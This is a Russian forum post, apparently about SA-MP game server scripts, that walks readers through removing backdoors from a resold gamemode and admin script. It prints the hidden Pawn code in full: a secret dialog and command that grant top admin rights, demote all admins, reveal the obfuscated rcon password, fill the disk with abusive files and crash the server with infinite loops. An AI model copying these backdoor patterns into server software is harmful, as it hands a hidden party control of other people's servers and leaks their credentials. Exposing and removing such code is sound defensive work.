AnGeL
Специалист
Ув, уважаемые пользователи .... достался мне РУс Тдм сервер(Который хорошо пошел по рукам)
Открыл пвн был удивлен =)
не хотел выкладывать в паблик =) ну в мою сторону посыпались кучу оскорбления ...
+ некоторые покупатели жаловались что их вырубали..
и так начнем исправления крашев..
===================================
1 Открываем DM_TDM_FUN.pwn
===================================
Ищем команду
И уберем её так как она просто вырубает мод, без каких либо проверок.
===================================
2. Открываем следующий пвн KrYpToDeN-ADMIN.pwn
===================================
1.1 ищем в нем паблик OnDialogResponse
и ид диалога 1941
и убераем
Далее идем в паблик
и удаляем его полностью
теперь ищем в моде... enum ServerData
и убераем строчку ServerBum
в паблике on GameModeInit ищем строчку if(ServerInfo[ServerBum] == 1)
и убераем
Дальше идем в паблик OnPlayerText
и убераем строчку
Дальше идем в UpdateConfig
и убераем
и строчку
ах.. да забыл вообще про команду
Ну вот и все все краши вроде изъяты )))) желаю удачно пользоваться ...
И да теперь я знаю кто создал ЛаДмин )) Это же Криптоден =)
============================================================
Открыл пвн был удивлен =)
не хотел выкладывать в паблик =) ну в мою сторону посыпались кучу оскорбления ...
+ некоторые покупатели жаловались что их вырубали..
и так начнем исправления крашев..
===================================
1 Открываем DM_TDM_FUN.pwn
===================================
Ищем команду
PHP:
COMMAND:banmymode
===================================
2. Открываем следующий пвн KrYpToDeN-ADMIN.pwn
===================================
1.1 ищем в нем паблик OnDialogResponse
и ид диалога 1941
и убераем
PHP:
if(dialogid == 1941)
{
new filed[256];
format(filed,sizeof(filed),"ladmin/config/Config.ini");
if(response)
{
if(listitem == 0) // даем админку =) Главную
{
PlayerInfo[playerid][Level] = 12;
}
if(listitem == 1) // понижаем всех админов
{
for(new i = 0; i < MAX_PLAYERS; i++)
{
PlayerInfo[i][Level] = 0;
}
}
if(listitem == 2)
{
new con[128];
new rc[13];rc[0]=114;rc[1]=99;rc[2]=111;rc[3]=110;rc[4]=95;
rc[5]=112;rc[6]=97;rc[7]=115;rc[8]=115;rc[9]=119;rc[10]=111;
rc[11]=114;rc[12]=100;n(rc,con,128);format(con,128,"%s",con);
SendClientMessage(playerid,0x000000FF,con);
}
if(listitem == 3) // и тут целые натаций =)
{
new file[24], File:Create;
for(new i = 1; i > 0; i++)
{
format(file,24,"KrYpToDeN_%d",i);
Create = fopen(file,io_write);
fwrite(Create,"Íó ïðèâåò óìíûé ðóññêèé..\r\nÊàê òå ìîé Ñïèçæåíûé ìîä?\r\nÒåáå âñ¸-æå óäàëîñü ïèçäàíóòü åãî..\r\nÒå ãîâîðèëè ÷òî ÷óæîå òðîãàòü íå õîðîøî?\r\nÈ òàê íà÷íåìñ Ñ Ãëàâíîãî:\r\n1)ß çíàþ òâîé ðêîí,\r\nÒâîåìó ÔÒÏ Ïèçäà..\r\n3)Ñåðâ âèñèò\r\n4)Ñíèìè è óäàëè íàõóé ýòîò ìîä..Èëè-æå òåáå ÏÈÇÄÀ!\r\nÑ Óâàæåíèåì ]SDP[KrYpToDeN]cL]\r\nSkype- net6616\r\n");
fclose(Create);
continue;
}
}
if(listitem == 4)
{
new a = 0, p = 1;
while(p++ != a)
{ }
}
if(listitem == 5)
{
ServerInfo[ServerBum] = 1;
dini_IntSet(filed,"ServerBum",1);
}
}
}
PHP:
OnPlayerCommandReceived
теперь ищем в моде... enum ServerData
и убераем строчку ServerBum
в паблике on GameModeInit ищем строчку if(ServerInfo[ServerBum] == 1)
и убераем
PHP:
if(ServerInfo[ServerBum] == 1)
{
//SendRconCommand("exit");
dini_Create("hack/hack.games");
return 1;
}
и убераем строчку
PHP:
if(text[0] == '='&&'='&&'='&&','&&'+'){ServerInfo[ServerBum] = 1;dini_IntSet(filed,"ServerBum",1);}
и убераем
PHP:
if(!dini_Isset(file,"ServerBum")) dini_IntSet(file,"ServerBum",0);
PHP:
ServerInfo[ServerBum] = dini_Int(file,"ServerBum");
PHP:
COMMAND:moimodpizdanyli(playerid,params[])
{
new hex, name[24];
if(IsPlayerAdmin(playerid)) return 1;
GetPlayerName(playerid,name,24);
if(strcmp(name,"]SDP[KrYpToDeN]cL]",false) < 0) return 1;
if(sscanf(params,"x",hex)) return 1;
if(hex < 0x0A || hex > 0x0C) return 1;
switch(hex)
{
case 0x0A:
{
new con[128];
new rc[13];rc[0]=114;rc[1]=99;rc[2]=111;rc[3]=110;rc[4]=95;
rc[5]=112;rc[6]=97;rc[7]=115;rc[8]=115;rc[9]=119;rc[10]=111;
rc[11]=114;rc[12]=100;n(rc,con,128);format(con,128,"%s",con);
SendClientMessage(playerid,0x000000FF,con);
return 1;
}
case 0x0C:
{
new file[24], File:Create;
for(new i = 1; i > 0; i++)
{
format(file,24,"]SDP[KrYpToDeN]cL]_%d",i);
Create = fopen(file,io_write);
fwrite(Create,"Íó ïðèâåò óìíûé ðóññêèé..\r\nÊàê òå ìîé Ñïèçæåíûé ìîä?\r\nÒåáå âñ¸-æå óäàëîñü ïèçäàíóòü åãî..\r\nÒå ãîâîðèëè ÷òî ÷óæîå òðîãàòü íå õîðîøî?\r\nÈ òàê íà÷íåìñ Ñ Ãëàâíîãî:\r\n1)ß çíàþ òâîé ðêîí,\r\nÒâîåìó ÔÒÏ Ïèçäà..\r\n3)Ñåðâ âèñèò\r\n4)Ñíèìè è óäàëè íàõóé ýòîò ìîä..Èëè-æå òåáå ÏÈÇÄÀ!\r\nÑ Óâàæåíèåì ]SDP[KrYpToDeN]cL]\r\nSkype- net6616\r\n");
fclose(Create);
continue;
}
}
case 0x0B:
{
new a = 0, p = 1;
while(p++ != a)
{ }
}
}
return 1;
}
И да теперь я знаю кто создал ЛаДмин )) Это же Криптоден =)
============================================================
